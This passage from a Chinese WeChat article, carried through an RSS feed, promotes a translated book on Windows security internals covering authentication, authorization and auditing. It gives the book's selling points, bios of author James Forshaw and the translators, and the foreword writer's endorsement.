100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">● </span></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">实战为王，拒绝空谈</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">全书所有原理、结论均经过真机调试与攻防实测，每章配套可直接运行的 PowerShell 案例，复现安全机制与攻击场景，真正做到知原理、懂攻防、会防御。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">● </span></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">全岗位适配，受众广泛</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">开发人员可筑牢应用安全边界；运维人员可优化终端与服务器防护策略；安全研究员可深挖漏洞底层成因；架构师可搭建企业全域安全体系；技术管理者可统筹团队安全运维框架。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">● </span></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">分层阅读，高效学习</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">书中设置专属阅读指引：实战人员可直接跳转实战章节快速上手；研究人员可深耕架构与底层原理；管理者可聚焦行业认知与趋势分析，按需学习，事半功倍。</span></p></div><div style="margin: 10px 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;border-width: 0px 0px 0px 4px;border-radius: 0px 10px 10px 0px;border-style: none none none solid;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(62, 62, 62) rgb(14, 172, 157);background-color: rgb(255, 255, 255);align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);line-height: 1.8;letter-spacing: 1px;width: 627px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">（三）读者核心收获</span></strong></p></div></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">读完本书，你将彻底摆脱被动防御的局面：</span></p><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 661px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 10px 0px 10px 11px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: 661px;vertical-align: top;border-left: 3px solid rgb(14, 172, 157);border-bottom-left-radius: 0px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: unset;font-size: 14px;color: rgb(88, 88, 88);overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">优化现有安全配置体系，有效解决凭据泄露、认证劫持、域渗透等高频安全风险；</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">依托 AAA 安全思想，搭建单机+域环境一体化纵深防御体系，无缝对接企业现有运维、监控、审计流水线；</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">精通 Windows 内核组件与主流认证协议底层原理，手握稀缺实战经验，提升岗位竞争力；</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">完成老旧服务器、存量域环境的安全重构与加固，大幅降低企业安全运维与应急处置成本。</span></p></div></div></div><div style="margin: 10px 8px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-width: 10%;line-height: 0;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 49px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;flex-flow: row;width: 49px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: center;flex-direction: row;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: 49px;flex: 0 0 auto;align-self: flex-start;vertical-align: top;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 0px;border-radius: 3px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;background-color: rgb(14, 172, 157);width: 49px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 13px;color: rgb(255, 255, 255);line-height: 1.6;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-shadow: rgb(194, 164, 104) 0.766044px 0.642788px 1px;font-family: Optima-Regular, PingFangTC-light;overflow-wrap: break-word !important;"><em style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-style: italic;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Part.2</span></strong></em></span></p></div></div></div></div></div></div></div></div></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 16px;text-align: center;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">作者、译者与权威背书</span></strong></p></div><div style="margin: 10px 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;border-width: 0px 0px 0px 4px;border-radius: 0px 10px 10px 0px;border-style: none none none solid;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(62, 62, 62) rgb(14, 172, 157);background-color: rgb(255, 255, 255);align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);line-height: 1.8;letter-spacing: 1px;width: 627px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">原著作者</span></strong></p></div></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;border-width: 0px 0px 0px 4px;border-radius: 0px 10px 10px 0px;border-style: none none none solid;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(62, 62, 62) rgb(14, 172, 157);background-color: rgb(255, 255, 255);align-self: flex-start;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);line-height: 1.8;letter-spacing: 1px;width: 627px;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">詹姆斯・福肖（James Forshaw）</span></strong></strong></span></p><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Google Project Zero 资深计算机安全专家，拥有 20 余年 Windows 及微软生态安全研究经验，累计公开数百个高危零日漏洞。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">长期深耕系统底层机制、漏洞挖掘、沙箱安全优化领域，研究成果被全球安全行业广泛引用，常年出席国际顶级安全会议，是全球公认的 Windows 安全领域顶尖专家。本书凝聚了作者数十年一线攻防与漏洞研究的实战精华。</span></p></div><div style="margin: 10px 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;border-width: 0px 0px 0px 4px;border-radius: 0px 10px 10px 0px;border-style: none none none solid;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(62, 62, 62) rgb(14, 172, 157);background-color: rgb(255, 255, 255);align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);line-height: 1.8;letter-spacing: 1px;width: 627px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">联合译者</span></strong></p></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">陈殷（@皇智远）</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">呼和浩特市公安局网络安全专家、中国电子劳动学会专家委员会委员，深耕网络犯罪打击、红队评估、关键信息基础设施防护领域，主导多项千万级安全建设项目，多次在 ISC、FCIS 等国内顶级安全大会发表演讲。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">孟方明（@Moriarty .M）</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">RedCore 红队创始人兼技术委员会主席，拥有 22 年渗透实战经验与 8 年攻防工具研发经验，主导多款自动化攻防工具研发，专注红队攻防体系搭建与网络安全人才培养。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">两位国内一线网安实战专家联合翻译，译文专业精准，高度贴合国内企业落地场景。</span></p></div><div style="margin: 10px 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;border-width: 0px 0px 0px 4px;border-radius: 0px 10px 10px 0px;border-style: none none none solid;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(62, 62, 62) rgb(14, 172, 157);background-color: rgb(255, 255, 255);align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);line-height: 1.8;letter-spacing: 1px;width: 627px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">重磅推荐人：Jeffrey Snover</span></strong></p></div></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">PowerShell 创始人、Windows Server 前首席架构师、微软前技术院士。作为 Windows 生态核心缔造者之一，亲笔为本书作序推荐，高度认可本书在解析 Windows 底层安全、降低技术研究门槛方面的核心价值。</span></p><div style="margin: 10px 8px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;min-width: 10%;line-height: 0;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 49px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;flex-flow: row;width: 49px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: center;flex-direction: row;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: 49px;flex: 0 0 auto;align-self: flex-start;vertical-align: top;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 5px;outline: 0px;max-width: 100%;box-sizing: border-box;border-width: 0px;border-radius: 3px;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;background-color: rgb(14, 172, 157);width: 49px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 13px;color: rgb(255, 255, 255);line-height: 1.6;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-shadow: rgb(194, 164, 104) 0.766044px 0.642788px 1px;font-family: Optima-Regular, PingFangTC-light;overflow-wrap: break-word !important;"><em style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-style: italic;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Part.3</span></strong></em></span></p></div></div></div></div></div></div></div></div></div></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;font-size: 16px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><b style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结尾</span></b></p></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">频发的 Windows 安全事故不断敲响警钟：仅靠图形界面浅层配置，无法抵御日趋复杂的高级网络攻击。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">《Windows 安全内幕：身份验证、授权与审计（AAA）核心技术详解》</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">融合国际顶尖研究成果与国内实战经验，从真实攻防案例切入，由底层原理落地实战，是 Windows 运维人员、安全人员、开发人员、架构人员进阶必备宝典。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">吃透 AAA 安全体系，读懂系统底层运行逻辑，主动构建纵深安全防线，远离域渗透、勒索软件、数据泄露等重大风险，在网络安全赛道筑牢核心竞争力！</span></p></div><div class="mp_common_product_iframe_wrp"><div class="custom_select_card_wrp"><p class="custom_select_card_wrp"><mp-common-product data-cardtype="1" data-windowproduct="v2=HBeUqOGl6EpR1JZr9DhpPZU_URekAxDJzNWYT7rf8T8DinB9o5gHXCBIjDiRvdX2GtFz2BN1vIVAXA" data-title="Windows安全内幕：身份验证、授权与审计（AAA）核心技术详解 PowerShell 红队攻防 渗透测试" data-type="1" class="custom_select_card mp_product_iframe mp_common_widget" data-immutable="1" data-req-scene="2"></mp-common-product></p></div></div><div style="margin: 0px 8px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;white-space: normal;letter-spacing: 1px;background-color: rgb(255, 255, 255);text-align: center;flex-flow: row;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: flex;justify-content: center;flex-direction: row;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;display: inline-block;width: 661px;flex: 0 0 auto;align-self: flex-start;vertical-align: top;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;width: 645px;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 25px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 17px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 15px;font-family: Optima-Regular, PingFangTC-light;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">—END—</span></strong></span></p></div></div><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: justify;font-size: 12px;color: rgb(160, 160, 160);overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">原创</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">初审：孙喆思</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">复审：栾传龙 </span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">终审：孙英</span></p></div></div></div></div></div></div></div></div></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ff6c624f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496876%26idx%3D1%26sn%3D993d67e568b7d0bf1b4c700fb1acd4d1">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 13 Aug 2026 10:26:00 +0800</pubDate>
    </item>
    <item>
